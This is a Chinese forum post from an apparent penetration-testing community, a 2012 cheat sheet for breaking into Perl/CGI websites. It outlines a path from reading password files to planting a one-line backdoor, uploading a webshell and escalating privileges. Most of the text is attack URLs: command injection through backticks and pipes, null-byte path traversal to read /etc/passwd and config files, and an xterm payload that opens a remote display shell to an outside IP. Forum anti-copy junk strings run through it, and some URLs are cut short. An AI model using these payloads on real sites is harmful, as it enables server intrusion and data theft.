中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
, }4 M" D0 {# |
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
2 M2 I9 c# c. H2 s
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
( m7 O* ^/ a& O+ J4 E6 Z. E
注“
; w2 {1 D$ s2 z4 I
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
7 ~3 f, `1 S% K# g+ r+ O$ J7 L
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
8 g: }- B) N# t4 c) W
4 G# M1 I( x+ D( z3 Q4 ?
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
4 v$ N1 {, p& Z4 Q" ?0 P- h# ] R. V
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
. B& t2 z, g' ^/ G- W
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
" ~% S( r- Q& G9 b
http://target.com/cgi-bin/home/news/sub.pl?`id`
9 ? m- w$ d: s( y) B4 W
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
8 q2 a+ E' Z: ]- h5 T @' t
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
1 R8 a! i5 S8 ~8 A% [" ?; ]
, c3 _- ~) E1 ?7 h' r1 Z/ J) B3 `0 w
http://target.com/test.pl;ls
|
7 S7 Y P( V! t8 Y
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
, @3 p( U" D$ u8 _3 W% `, Y1 p
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
" i# v) p c7 h- O! L
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
/ K4 }8 X F% A
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
8 x, i+ G4 H2 A/ H8 c
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
/ B" ?4 |: W3 r* X" x) |& C5 U6 C
+ ?4 E; x2 B3 k8 ?5 h# r5 N
http://target.com/test.pl?&........
/../../etc/passwd
5 \9 m) v l4 y) Y( [+ o2 M' D
~. N- ~! ?- ^3 }( |% u1 U
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
/ m5 Q! c/ f8 h7 v0 r# J7 l
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
2 S0 V" i/ g( j# Q$ @
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
$ `6 l0 l' ?0 z G( v8 x
' @5 y) p( w/ P5 w
http://www.target.org/show.php?f
... /include/config.php 查看php代码
0 z+ O2 b" e# S* J- b. _
http://www.target.org/show.php?f
... ng/admin/global.php
3 @* x4 D' _6 Q7 d8 b' P
. @* Y) O y3 S' b
emm和ps的一句话
! Y% n1 T# y5 \
1 j; ~3 b A5 C* Y- w, N
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
G; j, @. f( b/ D
8 N* D* d2 V, S. }/ t4 S0 L
>bbb%20|
; }, F- O+ E2 w# ?9 U. v1 M
6 z# o6 a' s! {/ d, X& R g
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
( n/ V% y- z# B: i6 p
. g h, \' c0 ^! `/ H, z
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
4 [/ B3 s& K) n3 A/ Q$ t$ `
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
& R' L6 ~( a/ s9 v$ |
% z) l' |8 z. b1 Y0 B# p
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
5 f* s' w; g5 l5 n
http://target.com/index.html#cmd.exe
: i, j8 R( D+ h' Y
http://target.com/index.html?dummyparam=xp_cmdshell
4 D. |, n8 c- r+ ?, M
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
. x: p7 ]. w$ Q3 u+ J* y8 k, W
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2